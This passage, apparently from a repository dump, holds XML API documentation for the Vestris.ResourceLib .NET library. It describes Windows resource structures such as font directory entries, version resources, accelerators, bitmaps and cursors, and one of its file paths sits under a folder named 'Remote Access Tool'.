read and write resource files. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfSize\">\n            <summary>\n            Specifies the size of the file, in bytes. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCopyright\">\n            <summary>\n            Contains a 60-character string with the font supplier's copyright information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfType\">\n            <summary>\n            Specifies the type of font file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPoints\">\n            <summary>\n            Specifies the point size at which this character set looks best. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfVertRes\">\n            <summary>\n            Specifies the vertical resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfHorizRes\">\n            <summary>\n            Specifies the horizontal resolution, in dots per inch, at which this character set was digitized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAscent\">\n            <summary>\n            Specifies the distance from the top of a character definition cell to the baseline of the \n            typographical font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfInternalLeading\">\n            <summary>\n            Specifies the amount of leading inside the bounds set by the dfPixHeight member. Accent marks and \n            other diacritical characters can occur in this area. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfExternalLeading\">\n            <summary>\n            Specifies the amount of extra leading that the application adds between rows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfItalic\">\n            <summary>\n            Specifies an italic font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfUnderline\">\n            <summary>\n            Specifies an underlined font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfStrikeOut\">\n            <summary>\n            Specifies a strikeout font if not equal to zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWeight\">\n            <summary>\n            Specifies the weight of the font in the range 0 through 1000. For example, 400 is roman and \n            700 is bold. If this value is zero, a default weight is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfCharSet\">\n            <summary>\n            Specifies the character set of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixWidth\">\n            <summary>\n            Specifies the width of the grid on which a vector font was digitized. For raster fonts, \n            if the member is not equal to zero, it represents the width for all the characters in the \n            bitmap. If the member is equal to zero, the font has variable-width characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPixHeight\">\n            <summary>\n            Specifies the height of the character bitmap for raster fonts or the height of the grid \n            on which a vector font was digitized. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfPitchAndFamily\">\n            <summary>\n            Specifies the pitch and the family of the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfAvgWidth\">\n            <summary>\n            Specifies the average width of characters in the font (generally defined as the width of \n            the letter x). This value does not include the overhang required for bold or italic characters. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfMaxWidth\">\n            <summary>\n            Specifies the width of the widest character in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFirstChar\">\n            <summary>\n            Specifies the first character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfLastChar\">\n            <summary>\n            Specifies the last character code defined in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDefaultChar\">\n            <summary>\n            Specifies the character to substitute for characters not in the font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfBreakChar\">\n            <summary>\n            Specifies the character that will be used to define word breaks for text justification.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfWidthBytes\">\n            <summary>\n            Specifies the number of bytes in each row of the bitmap. This value is always even so \n            that the rows start on word boundaries. For vector fonts, this member has no meaning. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfDevice\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that specifies a device name. \n            For a generic font, this value is zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfFace\">\n            <summary>\n            Specifies the offset in the file to a null-terminated string that names the typeface. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.FONTDIRENTRY.dfReserved\">\n            <summary>\n            This member is reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarFileInfo\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. \n            It contains version information not dependent on a particular language and code page combination.\n            http://msdn.microsoft.com/en-us/library/aa909193.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Vars\">\n            <summary>\n            A hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor\">\n            <summary>\n            A new hardware independent dictionary of language and code page identifier tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.#ctor(System.IntPtr)\">\n            <summary>\n            An existing hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read a hardware independent dictionary of language and code page identifier tables.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of data.</param>\n            <returns>Pointer to the end of data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the hardware independent dictionary of language and code page identifier tables to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Default\">\n            <summary>\n            The default language and code page identifier table.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarFileInfo.Item(System.UInt16)\">\n            <summary>\n            Returns a language and code page identifier table.\n            </summary>\n            <param name=\"language\">Language ID.</param>\n            <returns>A language and code page identifier table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarFileInfo.ToString(System.Int32)\">\n            <summary>\n            String representation of VarFileInfo.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String in the VarFileInfo format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VarTable\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It typically contains a \n            list of language and code page identifier pairs that the version of the application or DLL supports.\n            http://msdn.microsoft.com/en-us/library/bb202818.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Languages\">\n            <summary>\n            A dictionary of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.String)\">\n            <summary>\n            A new table of language and code page identifier pairs.\n            </summary>\n            <param name=\"key\">Table key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.#ctor(System.IntPtr)\">\n            <summary>\n            An existing table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Read(System.IntPtr)\">\n            <summary>\n            Read a table of language and code page identifier pairs.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of the data.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the table of language and code page identifier pairs to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n            <returns>Last unpadded position.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VarTable.Item(System.UInt16)\">\n            <summary>\n            Returns a code page identifier for a given language.\n            </summary>\n            <param name=\"key\">Language ID.</param>\n            <returns>Code page identifier.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VarTable.ToString(System.Int32)\">\n            <summary>\n            String representation of the var table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the var table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.VersionResource\">\n            <summary>\n            VS_VERSIONINFO\n            This structure depicts the organization of data in a file-version resource. It is the root structure\n            that contains all other file-version information structures.\n            http://msdn.microsoft.com/en-us/library/aa914916.aspx\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Header\">\n            <summary>\n            The resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Resources\">\n            <summary>\n            A dictionary of resource tables.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing version resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.#ctor\">\n            <summary>\n            A new language-netural version resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a version resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write this version resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.String)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"key\">Entry key.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.VersionResource.Item(System.Int32)\">\n            <summary>\n            Returns an entry within this resource table.\n            </summary>\n            <param name=\"index\">Entry index.</param>\n            <returns>A resource table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.VersionResource.ToString\">\n            <summary>\n            Return string representation of the version resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver\">\n            <summary>\n            winver.h, version management functions, types and definitions\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_SIGNATURE\">\n            <summary>\n            VS_VERSION signature.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_STRUCVERSION\">\n            <summary>\n            VS_VERSION structure version.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.VS_FFI_FILEFLAGSMASK\">\n            <summary>\n            VS_VERSION file flags mask.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileFlags\">\n            <summary>\n            VS_VERSION file flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_DEBUG\">\n            <summary>\n            The file contains debugging information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRERELEASE\">\n            <summary>\n            The file is a prerelease development version, not a final commercial release.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PATCHED\">\n            <summary>\n            PThe file has been modified somehow and is not identical to the original file\n            that shipped with the product. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_PRIVATEBUILD\">\n            <summary>\n            The file was not built using standard release procedures. There should be data \n            in the file's \"PrivateBuild\" version information string. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_INFOINFERRED\">\n            <summary>\n            The version information in this structure was not found inside the file, \n            but instead was created when needed based on the best information available. \n            Therefore, this structure's information may differ slightly from what the \"real\"\n            values are.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileFlags.VS_FF_SPECIALBUILD\">\n            <summary>\n            The file was built using standard release procedures, but is somehow different \n            from the normal file having the same version number. There should be data in the \n            file's \"SpecialBuild\" version information string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileOs\">\n            <summary>\n            VS_VERSION file OSs.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_UNKNOWN\">\n            <summary>\n            The operating system under which the file was designed to run could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS\">\n            <summary>\n            The file was designed to run under MS-DOS. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216\">\n            <summary>\n            The file was designed to run under a 16-bit version of OS/2. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232\">\n            <summary>\n            The file was designed to run under a 32-bit version of OS/2.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT\">\n            <summary>\n            The file was designed to run under Windows NT/2000.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_WINCE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS16\">\n            <summary>\n            The file was designed to run under the 16-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM16\">\n            <summary>\n            The file was designed to be run under a 16-bit version of Presentation Manager. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__PM32\">\n            <summary>\n            The file was designed to be run under a 32-bit version of Presentation Manager.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS__WINDOWS32\">\n            <summary>\n            The file was designed to run under the 32-bit Windows API. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_DOS_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS216_PM16\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_OS232_PM32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileOs.VOS_NT_WINDOWS32\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileType\">\n            <summary>\n            VS_VERSION file types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_UNKNOWN\">\n            <summary>\n            The type of file could not be determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_APP\">\n            <summary>\n            The file is an application.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DLL\">\n            <summary>\n            The file is a Dynamic Link Library (DLL). \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_DRV\">\n            <summary>\n            The file is a device driver. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_FONT\">\n            <summary>\n            The file is a font. dwFileSubtype contains more information. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_VXD\">\n            <summary>\n            The file is a virtual device.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileType.VFT_STATIC_LIB\">\n            <summary>\n            The file is a static link library.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Winver.FileSubType\">\n            <summary>\n            File sub-type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_UNKNOWN\">\n            <summary>\n            The type of driver could not be determined. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_PRINTER\">\n            <summary>\n            The file is a printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_KEYBOARD\">\n            <summary>\n            The file is a keyboard driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_LANGUAGE\">\n            <summary>\n            The file is a language driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_DISPLAY\">\n            <summary>\n            The file is a display driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_MOUSE\">\n            <summary>\n            The file is a mouse driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_NETWORK\">\n            <summary>\n            The file is a network driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SYSTEM\">\n            <summary>\n            The file is a system driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INSTALLABLE\">\n            <summary>\n            The file is an installable driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_SOUND\">\n            <summary>\n            The file is a sound driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_COMM\">\n            <summary>\n            The file is a communications driver. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_INPUTMETHOD\">\n            <summary>\n            The file is an input method driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_DRV_VERSIONED_PRINTER\">\n            <summary>\n            The file is a versioned printer driver.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_RASTER\">\n            <summary>\n            The file is a raster font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_VECTOR\">\n            <summary>\n            The file is a vector font. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Winver.FileSubType.VFT2_FONT_TRUETYPE\">\n            <summary>\n            The file is a TrueType font. \n            </summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net35/Vestris.ResourceLib.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Vestris.ResourceLib</name>\n    </assembly>\n    <members>\n        <member name=\"T:Vestris.ResourceLib.Accelerator\">\n            <summary>\n            Standard accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Read(System.IntPtr)\">\n            <summary>\n            Read the accelerator.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write accelerator to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Key\">\n            <summary>\n            String representation of the accelerator key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Accelerator.Command\">\n            <summary>\n            An unsigned integer value that identifies the accelerator.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Accelerator.ToString\">\n            <summary>\n            String representation of the accelerator.\n            </summary>\n            <returns>String representation of the accelerator.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.AcceleratorResource\">\n            <summary>\n            An accelerator, RT_ACCELERATOR resource.\n            An accelerator provides the user with access to an application's command set.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.AcceleratorResource.Accelerators\">\n            <summary>\n            Accelerator keys.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor\">\n            <summary>\n            A new accelerator resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing accelerator resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the accelerators table.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the accelerator table.</param>\n            <returns>Address of the end of the accelerator table.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.AcceleratorResource.ToString\">\n            <summary>\n            String representation of the accelerators resource.\n            </summary>\n            <returns></returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Aligned\">\n            <summary>\n            Creates an 8 bit aligned copy of the buffer if it is not already aligned\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapFile\">\n            <summary>\n            A bitmap file in a .bmp format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapFile.Bitmap\">\n            <summary>\n            Device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapFile.#ctor(System.String)\">\n            <summary>\n            An existing bitmap file.\n            </summary>\n            <param name=\"filename\">A file in a .bmp format.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.BitmapResource\">\n            <summary>\n            An embedded bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing bitmap resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.#ctor\">\n            <summary>\n            A new bitmap resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.BitmapResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the bitmap resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.BitmapResource.Bitmap\">\n            <summary>\n            A device independent bitmap.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of cursors that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.CursorResource\">\n            <summary>\n            This structure depicts the organization of data in a cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing cursor resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor\">\n            <summary>\n            A new cursor resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotX\">\n            <summary>\n            Horizontal hotspot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.CursorResource.HotspotY\">\n            <summary>\n            Vertical hot spot coordinate.\n            The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.SaveIconTo(System.String)\">\n            <summary>\n            Write the cursor data to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.CursorResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read DIB image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">DIB size.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DeviceIndependentBitmap\">\n            <summary>\n            A device-independent image consists of a BITMAPINFOHEADER where\n            bmWidth is the width of the image andbmHeight is double the height \n            of the image, followed by the bitmap color table, followed by the image\n            pixels, followed by the mask pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Data\">\n            <summary>\n            Raw image data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Header\">\n            <summary>\n            Bitmap info header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DeviceIndependentBitmap.Size\">\n            <summary>\n            Bitmap size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor\">\n            <summary>\n            A new icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(System.Byte[])\">\n            <summary>\n            A device-independent bitmap.\n            </summary>\n            <param name=\"data\">Bitmap data.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.#ctor(Vestris.ResourceLib.DeviceIndependentBitmap)\">\n            <summary>\n            Create a copy of an image.\n            </summary>\n            <param name=\"image\">Source image.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DeviceIndependentBitmap.Read(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read icon data.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of icon data.</param>\n            <param name=\"size\">Icon data size.</param>\n        </member>\n        <member 